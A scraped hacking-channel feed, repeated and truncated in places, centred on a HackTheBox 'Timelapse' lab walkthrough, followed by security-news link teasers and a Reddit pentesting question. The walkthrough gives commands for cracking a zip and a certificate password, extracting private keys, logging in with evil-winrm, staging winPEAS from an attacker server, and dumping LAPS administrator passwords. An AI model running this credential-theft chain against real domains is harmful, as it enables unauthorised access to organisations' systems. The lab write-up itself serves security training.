Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Timelapse HackTheBox Walkthrough
SummaryTimelapse is an HTB Active Directory machine that is an easy machine but as the concept of initial compromise is unique, therefore, I believe it should be categorised as Intermediate. By solving this lab I learn how an attacker can steal a CA certificate to perform a lateral moment. Table of contentInitial Access
* Nmap
* SMB-client
* Openssl
* Winrm
Privilege Escalation
* WinPeas
* Credential Dumping
* Abusing LAPS Initial AccessLet’s deep dive into the time.
nmap -p- -sV 10.129.227.105
From the nmap scan, we can see that this is a Window Server more precisely a domain controller since we have DNS, LDAP, Kerberos and SMB ports open. Also WinRM ( Windows Remote Management) port 5986 is present.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjID051By-VBlUYNF9BZf36EZ3gW0x7X78i59h-mgW81sxbYuUo2pUv_NK57tYbH0gopt5H5xjvqOxE4Xrh0k07Fo88jAOx1ZCIbSHRVOsz7R7xxQv_vekCY3sFxv3K9Az9Q-O2GxQpARrcJy4-yJsCOISB61q3coOpYyX_N-BcZsG_7pHGQHHLprlX2A/s16000/1.png?w=640&ssl=1
SMBClient
smbclient -L 10.129.227.105
Let’s use smb client to find if there are any share folders available for anonymous login. Indeed, there is a sharing enabled with the name of “Shares”.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsm0wCJFWtk-iFR_pveV8ElT7iUYd6UKvACZ-r3aLoLsE7hAMILpQRdD3qXR3cIjlFsuXdpnmrvivF2HYeEKyXf0JlufnffgLAUgtBIh3CwWxdi3O07D6GDtA9-09l8viRAFzsg57UKyY009dZJ8t0s0Da8fJzkax51ZLu6oMJKV9_tdhjSnjeQ-0mkg/s16000/2.png?w=640&ssl=1
Now we try to connect to that folder using smb client and browse the directory to find other subfolders. The winrm_backup.zip is actually password-protected. So we need to crack it.
In our scenario, we used fcrackzip to crack the winrm_backup file using the wordlist rockyou.txt.
fcrackzip -D -u winrm_backup.zip -p /usr/share/wordlists/rockyou.txt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrTsOL0o7zCKX92Sbo394pYniIULHkkDAdRfWrh676SpHga0waz0C0NGdClBMu6Cjwjiq1jjv7eHIfJVWTfhTm4HPz_zvo_G_H4B8AkUAxP4AjvPEdGg08nSSOaBo0lUgvkmnt1ZlrMC9Y-9HUXzsA5NrbxyI8RURVA3suJu9dG4ZbtNL8yi0IrTpAkg/s16000/3.png?w=640&ssl=1
Once we have cracked the password, we can use it to unzip the file. Once extracted, we find a .pfx file called: legacy_dev_auth.pfx. PFX files are actually digital certificates that contain both the SSL certificate’s public and private keys.
unzip winrm_backup.zip
pfx2john legacyy_dev_auth.pfx >pfxhash
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgT2xTSL3McxV8u3kYp4II-64uH8KUE_Z8j2zJi0tVt3_JJ6p3eZtolDQD4UXqCC7xtKwmaDayE-jFTkHJ5FEHohi7GEN9aRQwN60Id_eYJm0zA5jPMoMjK0MoDKUVDdRuJSdRthQWyi_-UMssOZA2SVX89qGJ1MyUUyIw1Zyia1vnvSqgJpJyZV7cNlw/s16000/4.png?w=640&ssl=1
Openssl
Now, we are going to convert that pfx file to the hash and crack it using the hash using John to get the private key and the pem key. As you can see, the password is thuglegacy.
We will try to open the certificate using openssl and as we can see it is a Microsoft Software Key Storage Provider. We can extract the certificate and private key.
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi83o71ll2RGK6XmZzG9vN2DReDNQbPGP-GuLbVhIKltXCt_LPu9XjisyLkqu7uJh8Id_b9yBKyJ8Yp3fO0UyLS-rKJ1Syn6uUXgXtBu6iLUShlvBFFgs8fvFdmAJFNFz7DHNQoCmAx-3YVI-qVPV4v9JJGTdeBuRBqcNuPPKGTpxxWC0h7swIR2RRVsg/s16000/5.png?w=640&ssl=1
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaanuVwr4k6mzZXEWvSJooqEBDCr9CD8PtTHQQUnyiJ7cH85jKYjgjTWdfGCfzBFVaWPCBbHnxM2I6SvPnQFEOIvrycSP72TEObnXrGxHpHAwJyHaBXyd1tB6-adtUC0gX3tJgldFRcmyzmG9AOf-WCW2Q9u0et1ul1UalsH1qNU2nQNMbZ0MHWK3CTg/s16000/6.png?w=640&ssl=1
Once the private key is available, we can use this key to login into the[...]
___________________________
@hacking_Attack
@Hacking_Video
Timelapse HackTheBox Walkthrough
SummaryTimelapse is an HTB Active Directory machine that is an easy machine but as the concept of initial compromise is unique, therefore, I believe it should be categorised as Intermediate. By solving this lab I learn how an attacker can steal a CA certificate to perform a lateral moment. Table of contentInitial Access
* Nmap
* SMB-client
* Openssl
* Winrm
Privilege Escalation
* WinPeas
* Credential Dumping
* Abusing LAPS Initial AccessLet’s deep dive into the time.
nmap -p- -sV 10.129.227.105
From the nmap scan, we can see that this is a Window Server more precisely a domain controller since we have DNS, LDAP, Kerberos and SMB ports open. Also WinRM ( Windows Remote Management) port 5986 is present.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjID051By-VBlUYNF9BZf36EZ3gW0x7X78i59h-mgW81sxbYuUo2pUv_NK57tYbH0gopt5H5xjvqOxE4Xrh0k07Fo88jAOx1ZCIbSHRVOsz7R7xxQv_vekCY3sFxv3K9Az9Q-O2GxQpARrcJy4-yJsCOISB61q3coOpYyX_N-BcZsG_7pHGQHHLprlX2A/s16000/1.png?w=640&ssl=1
SMBClient
smbclient -L 10.129.227.105
Let’s use smb client to find if there are any share folders available for anonymous login. Indeed, there is a sharing enabled with the name of “Shares”.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsm0wCJFWtk-iFR_pveV8ElT7iUYd6UKvACZ-r3aLoLsE7hAMILpQRdD3qXR3cIjlFsuXdpnmrvivF2HYeEKyXf0JlufnffgLAUgtBIh3CwWxdi3O07D6GDtA9-09l8viRAFzsg57UKyY009dZJ8t0s0Da8fJzkax51ZLu6oMJKV9_tdhjSnjeQ-0mkg/s16000/2.png?w=640&ssl=1
Now we try to connect to that folder using smb client and browse the directory to find other subfolders. The winrm_backup.zip is actually password-protected. So we need to crack it.
In our scenario, we used fcrackzip to crack the winrm_backup file using the wordlist rockyou.txt.
fcrackzip -D -u winrm_backup.zip -p /usr/share/wordlists/rockyou.txt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrTsOL0o7zCKX92Sbo394pYniIULHkkDAdRfWrh676SpHga0waz0C0NGdClBMu6Cjwjiq1jjv7eHIfJVWTfhTm4HPz_zvo_G_H4B8AkUAxP4AjvPEdGg08nSSOaBo0lUgvkmnt1ZlrMC9Y-9HUXzsA5NrbxyI8RURVA3suJu9dG4ZbtNL8yi0IrTpAkg/s16000/3.png?w=640&ssl=1
Once we have cracked the password, we can use it to unzip the file. Once extracted, we find a .pfx file called: legacy_dev_auth.pfx. PFX files are actually digital certificates that contain both the SSL certificate’s public and private keys.
unzip winrm_backup.zip
pfx2john legacyy_dev_auth.pfx >pfxhash
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgT2xTSL3McxV8u3kYp4II-64uH8KUE_Z8j2zJi0tVt3_JJ6p3eZtolDQD4UXqCC7xtKwmaDayE-jFTkHJ5FEHohi7GEN9aRQwN60Id_eYJm0zA5jPMoMjK0MoDKUVDdRuJSdRthQWyi_-UMssOZA2SVX89qGJ1MyUUyIw1Zyia1vnvSqgJpJyZV7cNlw/s16000/4.png?w=640&ssl=1
Openssl
Now, we are going to convert that pfx file to the hash and crack it using the hash using John to get the private key and the pem key. As you can see, the password is thuglegacy.
We will try to open the certificate using openssl and as we can see it is a Microsoft Software Key Storage Provider. We can extract the certificate and private key.
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi83o71ll2RGK6XmZzG9vN2DReDNQbPGP-GuLbVhIKltXCt_LPu9XjisyLkqu7uJh8Id_b9yBKyJ8Yp3fO0UyLS-rKJ1Syn6uUXgXtBu6iLUShlvBFFgs8fvFdmAJFNFz7DHNQoCmAx-3YVI-qVPV4v9JJGTdeBuRBqcNuPPKGTpxxWC0h7swIR2RRVsg/s16000/5.png?w=640&ssl=1
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaanuVwr4k6mzZXEWvSJooqEBDCr9CD8PtTHQQUnyiJ7cH85jKYjgjTWdfGCfzBFVaWPCBbHnxM2I6SvPnQFEOIvrycSP72TEObnXrGxHpHAwJyHaBXyd1tB6-adtUC0gX3tJgldFRcmyzmG9AOf-WCW2Q9u0et1ul1UalsH1qNU2nQNMbZ0MHWK3CTg/s16000/6.png?w=640&ssl=1
Once the private key is available, we can use this key to login into the[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles
Timelapse HackTheBox Walkthrough - Hacking Articles
Summary Timelapse is an HTB Active Directory machine that is an easy machine but as the concept of initial compromise is unique, therefore, I believe
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles Timelapse HackTheBox Walkthrough SummaryTimelapse is an HTB Active Directory machine that is an easy machine but as the concept of initial compromise is unique, therefore, I believe it should be categorised as Intermediate. By solving this…
box.
We will use evil-winrm to login using both the pem certificate and the pem private key. Instead of a password we can login with the keys also.
evil-winrm -i 10.129.227.105 -c certificate.pem -k priv-key.pem -S -r timelapse
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLxZsrYbvICHyDjq-8p6L-XjtTep-A8VvF7rLLAI6udP5zxaWa5KYSmRrby6sn7y3RVgtJGbYZxvkO08KXjT5EWzfsdDc8HqRNrVl6G5Uc1a_1GTQ7m0KqSbUdHdHkh6NR98TtXM8iaW4pN9OhJzNSLyi3karhkiJJOKDThinpFo9j2Jbhh5aHkGt-5Q/s16000/7.png?w=640&ssl=1 Privilege Escalation Now we have a shell on the box. It seems we don’t have anything in the document library. Let’s browse the desktop library to see if we can find any flags. Indeed we have a user.txt flag on the desktop.
Now we will use updog to upload winPEASx64.exe on the server.
Let’s download updog. Another alternative is to use python httpSimpleServer but in our scenario, we are using updog.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFiABVsz3HzTZ4q4U1lKI6ml4IHOl_rtC5GgB6XIYNZVSFpqXDBvSpjE3UuUZZ6EUJGfmYh74RncHNhBPAB_PYdV55Ya4HBpOR1vXhgHcTBqO74RLaEKty9GO8d5-ysEGasJ47nQ3nQZvf9db6zSs8YeV5q3g8jcm8Wov4__WHwlMpRdtZseFXf_3v9A/s16000/8.png?w=640&ssl=1
WinPeas.exe
Once installed, let’s run updog on 80. As shown below, updog is running on port 80 now.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhm5whYmrBUmiXvwmpbOuSCB8fKxXPAWRxZoMC1IAbDSxzsUtSmEHydSsxWJDGi5Pn9fvq2qE5cSYPvIWe2fGk7XsvySEkDJ-9XTBuTMewziz12eOXsrdDvzLgBjYWt--r--b2UScalxPJKvTgvnRMNfTs-VFGIRf7N0ctFmIBeSISc_HvAbn7O1N2Y2Q/s16000/9.png?w=640&ssl=1
Then on the server, we download the winPEASx64.exe using the wget command. Once the download is complete, let’s execute the winPEASx64.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivSUsmxqgizCxhZA65KwWOx0HKloW39xX-NVofapUKf7lxd0MJEx7_X0rLq5q3gIwk1IxPk7f0zwEobZtUPaOobymo6xdS7SrSP4pc9rezENEmR6hFp0mhogJkhGvijsoSvI4FIPadyE5-Wr2C5oanVvaq7obXk14iAc71C8nzsMNxq1d53yvJTv-06g/s16000/10.png?w=640&ssl=1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC1Cl0N404wo7GrbNq7JDWfQJtbE1NkCU5A0EqxcjHu_xRvqa9fy1hCb_CxgX0TPgHesEPd5cgMG9lNSh6F6K-r98CXDHaJp23o-l-EBy6fRoZQSngeuopMm8sG1tTM4UuMc0ZiBIv6LxwRjkbEHRh1lNHsfxkfRnR_hG9MKM7rQpuvd2Y-2QHg9tovg/s16000/12.png?w=640&ssl=1
Let’s read the ConsoleHost_History.txt file and see what information we can extract from it.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBI8fhPq6UMye8wwB8LEp0dnJHEWrDzlHcQvhSYjC5EPr0y8SlprW74PR0Epn9uYwtjlWNHMIy52h46VE5uh81ihdqevJdd93GMiLadkdhslHb3LhZCnFsRtdfQ6U7s-Zdwo87ufBPojAT8NmmAjPBXd6lhNmwnAzyzJ980WFw-Pr4_K8rKDvbnUEBTw/s16000/13.png?w=640&ssl=1 Credential Dumping- LAPSAs we can see from the file, the username is svc_deploy and the password has been assigned to the variable p. now let’s verify in which group the user svc_deploy is a member. It is a member of the LAPS_Readers group. LAPS stands for Local Administrator Password Solution. It randomises all the passwords for all local machines so that you cannot execute pass the hash attack. However, it stores the password on the active directory itself and only members of LAPS_Readers can read the password.
Let’s check all users available on the box by using the command net users. We found a user account named svc_deploy. Let’s check in which group membership this is located. It’s in the LAPS_Readers group.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFRb2B2UVIcqSujHRwtUzI4I-0X8lhFdeGdnHAgrO-jr59AY2YnGSSFdV1Bj5uQbAGcZ6B56_xtg_3ld0JItuoRRDLdj3xM5sQGXWNN2djeFn6g0N5vn90QeTr6-P8ejRp-LSjlKE8dwlKwjU202NWaZXeez61-kA_i-KF8K5gK5s8wj6k5vVsoLOg-w/s16000/14.png?w=640&ssl=1
Now we can try to connect using evil-winrm using the username and password from the consolehost_history.txt file. And the password is in the ‘ms-Mcs-admpwd’
evil-winrm -i 10.129.227.105 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
Get-ADComputer DC01 -property 'ms-mcs-admpwd'
https://i0.wp.com/blogger.go[...]
___________________________
@hacking_Attack
@Hacking_Video
We will use evil-winrm to login using both the pem certificate and the pem private key. Instead of a password we can login with the keys also.
evil-winrm -i 10.129.227.105 -c certificate.pem -k priv-key.pem -S -r timelapse
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLxZsrYbvICHyDjq-8p6L-XjtTep-A8VvF7rLLAI6udP5zxaWa5KYSmRrby6sn7y3RVgtJGbYZxvkO08KXjT5EWzfsdDc8HqRNrVl6G5Uc1a_1GTQ7m0KqSbUdHdHkh6NR98TtXM8iaW4pN9OhJzNSLyi3karhkiJJOKDThinpFo9j2Jbhh5aHkGt-5Q/s16000/7.png?w=640&ssl=1 Privilege Escalation Now we have a shell on the box. It seems we don’t have anything in the document library. Let’s browse the desktop library to see if we can find any flags. Indeed we have a user.txt flag on the desktop.
Now we will use updog to upload winPEASx64.exe on the server.
Let’s download updog. Another alternative is to use python httpSimpleServer but in our scenario, we are using updog.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFiABVsz3HzTZ4q4U1lKI6ml4IHOl_rtC5GgB6XIYNZVSFpqXDBvSpjE3UuUZZ6EUJGfmYh74RncHNhBPAB_PYdV55Ya4HBpOR1vXhgHcTBqO74RLaEKty9GO8d5-ysEGasJ47nQ3nQZvf9db6zSs8YeV5q3g8jcm8Wov4__WHwlMpRdtZseFXf_3v9A/s16000/8.png?w=640&ssl=1
WinPeas.exe
Once installed, let’s run updog on 80. As shown below, updog is running on port 80 now.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhm5whYmrBUmiXvwmpbOuSCB8fKxXPAWRxZoMC1IAbDSxzsUtSmEHydSsxWJDGi5Pn9fvq2qE5cSYPvIWe2fGk7XsvySEkDJ-9XTBuTMewziz12eOXsrdDvzLgBjYWt--r--b2UScalxPJKvTgvnRMNfTs-VFGIRf7N0ctFmIBeSISc_HvAbn7O1N2Y2Q/s16000/9.png?w=640&ssl=1
Then on the server, we download the winPEASx64.exe using the wget command. Once the download is complete, let’s execute the winPEASx64.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivSUsmxqgizCxhZA65KwWOx0HKloW39xX-NVofapUKf7lxd0MJEx7_X0rLq5q3gIwk1IxPk7f0zwEobZtUPaOobymo6xdS7SrSP4pc9rezENEmR6hFp0mhogJkhGvijsoSvI4FIPadyE5-Wr2C5oanVvaq7obXk14iAc71C8nzsMNxq1d53yvJTv-06g/s16000/10.png?w=640&ssl=1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC1Cl0N404wo7GrbNq7JDWfQJtbE1NkCU5A0EqxcjHu_xRvqa9fy1hCb_CxgX0TPgHesEPd5cgMG9lNSh6F6K-r98CXDHaJp23o-l-EBy6fRoZQSngeuopMm8sG1tTM4UuMc0ZiBIv6LxwRjkbEHRh1lNHsfxkfRnR_hG9MKM7rQpuvd2Y-2QHg9tovg/s16000/12.png?w=640&ssl=1
Let’s read the ConsoleHost_History.txt file and see what information we can extract from it.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBI8fhPq6UMye8wwB8LEp0dnJHEWrDzlHcQvhSYjC5EPr0y8SlprW74PR0Epn9uYwtjlWNHMIy52h46VE5uh81ihdqevJdd93GMiLadkdhslHb3LhZCnFsRtdfQ6U7s-Zdwo87ufBPojAT8NmmAjPBXd6lhNmwnAzyzJ980WFw-Pr4_K8rKDvbnUEBTw/s16000/13.png?w=640&ssl=1 Credential Dumping- LAPSAs we can see from the file, the username is svc_deploy and the password has been assigned to the variable p. now let’s verify in which group the user svc_deploy is a member. It is a member of the LAPS_Readers group. LAPS stands for Local Administrator Password Solution. It randomises all the passwords for all local machines so that you cannot execute pass the hash attack. However, it stores the password on the active directory itself and only members of LAPS_Readers can read the password.
Let’s check all users available on the box by using the command net users. We found a user account named svc_deploy. Let’s check in which group membership this is located. It’s in the LAPS_Readers group.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFRb2B2UVIcqSujHRwtUzI4I-0X8lhFdeGdnHAgrO-jr59AY2YnGSSFdV1Bj5uQbAGcZ6B56_xtg_3ld0JItuoRRDLdj3xM5sQGXWNN2djeFn6g0N5vn90QeTr6-P8ejRp-LSjlKE8dwlKwjU202NWaZXeez61-kA_i-KF8K5gK5s8wj6k5vVsoLOg-w/s16000/14.png?w=640&ssl=1
Now we can try to connect using evil-winrm using the username and password from the consolehost_history.txt file. And the password is in the ‘ms-Mcs-admpwd’
evil-winrm -i 10.129.227.105 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
Get-ADComputer DC01 -property 'ms-mcs-admpwd'
https://i0.wp.com/blogger.go[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
box. We will use evil-winrm to login using both the pem certificate and the pem private key. Instead of a password we can login with the keys also. evil-winrm -i 10.129.227.105 -c certificate.pem -k priv-key.pem -S -r timelapse https://i0.wp.com/blogger…
ogleusercontent.com/img/b/R29vZ2xl/AVvXsEgZSGXoJmEgPmrwV_I9zs312MvsA4Gni9exBLtzeFfMfeawBuMTGkschFOFa_qKn8bps0MvaVBvLMrf8NMeeJnX-FcMHRLfnHUkHchLSpQJGVWY9tagLZF1faIs6-TNw-xKuzmcyy4j5Zvwzp7n9S1It2U1qjZii2NUsoRBbpxY6j2-cZp4xNH6KzGPNg/s16000/16.png?w=640&ssl=1
Once we have the administrator password, we can connect using evil-winrm to connect to the box.
evil-winrm -i 10.129.227.105 -u administrator -p 'gU}0649&H)l8VrkJB1n95q0A' -S
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcI3SH99mpNnaZs8fx-jivJAUUNClwugitewBgWG5GhhVk6l7o7oLV4mIZI3jHTI5lsfI3D_mgSEnOZN1qnw46SkrkkI-KN_JXQ8Gdg8w7AeJgsYt3Uzc2sdCykCWNRSyzMC4N18_ci4da0fAd9g0ripZggahq5J4toRdn5NABVSripwoP1oOXcJNkig/s16000/17.png?w=640&ssl=1
And we have logged on. We can now browse and go to the desktop directory to see if we can capture any flags. There you go. We can see the root.txt.
Author: Tirut Hawoldar is a Cyber Security Enthusiast and CTF player with 15 years of experience in IT Security and Infrastructure. Can be Contacted on LinkedIn
The post Timelapse HackTheBox Walkthrough appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
Once we have the administrator password, we can connect using evil-winrm to connect to the box.
evil-winrm -i 10.129.227.105 -u administrator -p 'gU}0649&H)l8VrkJB1n95q0A' -S
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcI3SH99mpNnaZs8fx-jivJAUUNClwugitewBgWG5GhhVk6l7o7oLV4mIZI3jHTI5lsfI3D_mgSEnOZN1qnw46SkrkkI-KN_JXQ8Gdg8w7AeJgsYt3Uzc2sdCykCWNRSyzMC4N18_ci4da0fAd9g0ripZggahq5J4toRdn5NABVSripwoP1oOXcJNkig/s16000/17.png?w=640&ssl=1
And we have logged on. We can now browse and go to the desktop directory to see if we can capture any flags. There you go. We can see the root.txt.
Author: Tirut Hawoldar is a Cyber Security Enthusiast and CTF player with 15 years of experience in IT Security and Infrastructure. Can be Contacted on LinkedIn
The post Timelapse HackTheBox Walkthrough appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Google anuncia KataOS, un sistema operativo centrado en la seguridad
https://cdn-images-1.medium.com/max/1200/0*SwFHqosufR923kyZ.png
Google ha anunciado KataOS, un sistema operativo centrado en la seguridad y los sistemas embebidos que está construido casi enteramente…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Google anuncia KataOS, un sistema operativo centrado en la seguridad
https://cdn-images-1.medium.com/max/1200/0*SwFHqosufR923kyZ.png
Google ha anunciado KataOS, un sistema operativo centrado en la seguridad y los sistemas embebidos que está construido casi enteramente…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Google anuncia KataOS, un sistema operativo centrado en la seguridad
Google ha anunciado KataOS, un sistema operativo centrado en la seguridad y los sistemas embebidos que está construido casi enteramente con…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
How to hack android mobile device remotely using metasploit framework
https://cdn-images-1.medium.com/max/881/1*vr_9pdszaAcAubGNYDMqKg.png
For Educational Purpose Only I will not be responsible for any illegal activities that may occur due to misuse of this knowledge!!!
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
How to hack android mobile device remotely using metasploit framework
https://cdn-images-1.medium.com/max/881/1*vr_9pdszaAcAubGNYDMqKg.png
For Educational Purpose Only I will not be responsible for any illegal activities that may occur due to misuse of this knowledge!!!
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
How to hack android mobile device remotely using metasploit framework
For Educational Purpose Only I will not be responsible for any illegal activities that may occur due to misuse of this knowledge!!!
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Juice Jacking : A Real Security Threat?
https://cdn-images-1.medium.com/max/920/1*Nf3jlX-q-FfYr7L3jWabDQ.png
Learn how a theoretical exploit is being subject of fear mongering social media posts
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Juice Jacking : A Real Security Threat?
https://cdn-images-1.medium.com/max/920/1*Nf3jlX-q-FfYr7L3jWabDQ.png
Learn how a theoretical exploit is being subject of fear mongering social media posts
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Juice Jacking : A Real Security Threat?
Learn how a theoretical exploit is being subject of fear mongering social media posts
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Dropbox revela una violación después de que un hacker robó 130 repositorios de GitHub.
https://cdn-images-1.medium.com/max/1695/0*bY71tSCZHnMRjBD_
Linus Torvalds, el creador de Linux y Git, tiene su propia ley en el desarrollo de software, y dice así: » con suficientes ojos, todos los…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Dropbox revela una violación después de que un hacker robó 130 repositorios de GitHub.
https://cdn-images-1.medium.com/max/1695/0*bY71tSCZHnMRjBD_
Linus Torvalds, el creador de Linux y Git, tiene su propia ley en el desarrollo de software, y dice así: » con suficientes ojos, todos los…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Dropbox revela una violación después de que un hacker robó 130 repositorios de GitHub.
Linus Torvalds, el creador de Linux y Git, tiene su propia ley en el desarrollo de software, y dice así: » con suficientes ojos, todos los…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
How to write the Smart Contract Audit report
https://cdn-images-1.medium.com/max/1374/1*1URGuw9f7ttWfl2PoD_KNQ.png
Well, let’s be honest: These Ethernaut articles are very interesting for solidity developers, not only for security auditors, but they are…
Continue reading on CoinsBench »
___________________________
@hacking_Attack
@Hacking_Video
How to write the Smart Contract Audit report
https://cdn-images-1.medium.com/max/1374/1*1URGuw9f7ttWfl2PoD_KNQ.png
Well, let’s be honest: These Ethernaut articles are very interesting for solidity developers, not only for security auditors, but they are…
Continue reading on CoinsBench »
___________________________
@hacking_Attack
@Hacking_Video
Medium
How to write the Smart Contract Audit report
Well, let’s be honest: These Ethernaut articles are very interesting for solidity developers, not only for security auditors, but they are…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
OpenSSL vulnerabilities are closer to heartburn than Heartbleed
https://cdn-images-1.medium.com/max/1600/1*cFJRdg1XegF02WKKEgtixQ.png
The “S” in HTTPS stands for “secure,” but a pair of vulnerabilities in OpenSSL shows that assurance can come with a caveat.
Continue reading on README_ »
___________________________
@hacking_Attack
@Hacking_Video
OpenSSL vulnerabilities are closer to heartburn than Heartbleed
https://cdn-images-1.medium.com/max/1600/1*cFJRdg1XegF02WKKEgtixQ.png
The “S” in HTTPS stands for “secure,” but a pair of vulnerabilities in OpenSSL shows that assurance can come with a caveat.
Continue reading on README_ »
___________________________
@hacking_Attack
@Hacking_Video
Medium
OpenSSL vulnerabilities are closer to heartburn than Heartbleed
The “S” in HTTPS stands for “secure,” but a pair of vulnerabilities in OpenSSL shows that assurance can come with a caveat.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
How to unbrick your wireless router after a bad [OpenWRT] firmware flashing
https://cdn-images-1.medium.com/max/2600/1*WnH3Dvc6dQCDi75qr8Y9Xw.png
About 6 years ago I wrote a post explaining how to turn your wireless router in a NAS, Media Server UPnP/DLNA and BitTorrent client with…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
How to unbrick your wireless router after a bad [OpenWRT] firmware flashing
https://cdn-images-1.medium.com/max/2600/1*WnH3Dvc6dQCDi75qr8Y9Xw.png
About 6 years ago I wrote a post explaining how to turn your wireless router in a NAS, Media Server UPnP/DLNA and BitTorrent client with…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
How to unbrick your wireless router after a bad [OpenWRT] firmware flashing
About 6 years ago I wrote a post explaining how to turn your wireless router in a NAS, Media Server UPnP/DLNA and BitTorrent client with…
Directory enumeration when website redirects
https://www.reddit.com/r/Pentesting/comments/ykir7b/directory_enumeration_when_website_redirects/
I'm doing some pentesting, and my target website has a HTTPS webserver that continuously redirects by way of Bodis Parking. All directory fuzzing gives HTTP code 200s, and directory enumeration gives me nothing but 'hits' for all fuzzed attempts. Watching the requests on Burp Suite shows a cookie used, but always redirects to 'js.parking.xxx' or something. It logs my IP, and OS. Is there any way to clean up my output from gobuster or dirbuster to get usable enumeration? submitted by /u/JofoTheDingoKeeper (https://www.reddit.com/user/JofoTheDingoKeeper)
[link] (https://www.reddit.com/r/Pentesting/comments/ykir7b/directory_enumeration_when_website_redirects/) [comments] (https://www.reddit.com/r/Pentesting/comments/ykir7b/directory_enumeration_when_website_redirects/)
___________________________
@hacking_Attack
@Hacking_Video
https://www.reddit.com/r/Pentesting/comments/ykir7b/directory_enumeration_when_website_redirects/
I'm doing some pentesting, and my target website has a HTTPS webserver that continuously redirects by way of Bodis Parking. All directory fuzzing gives HTTP code 200s, and directory enumeration gives me nothing but 'hits' for all fuzzed attempts. Watching the requests on Burp Suite shows a cookie used, but always redirects to 'js.parking.xxx' or something. It logs my IP, and OS. Is there any way to clean up my output from gobuster or dirbuster to get usable enumeration? submitted by /u/JofoTheDingoKeeper (https://www.reddit.com/user/JofoTheDingoKeeper)
[link] (https://www.reddit.com/r/Pentesting/comments/ykir7b/directory_enumeration_when_website_redirects/) [comments] (https://www.reddit.com/r/Pentesting/comments/ykir7b/directory_enumeration_when_website_redirects/)
___________________________
@hacking_Attack
@Hacking_Video
reddit
Directory enumeration when website redirects
I'm doing some pentesting, and my target website has a HTTPS webserver that continuously redirects by way of Bodis Parking. All directory fuzzing...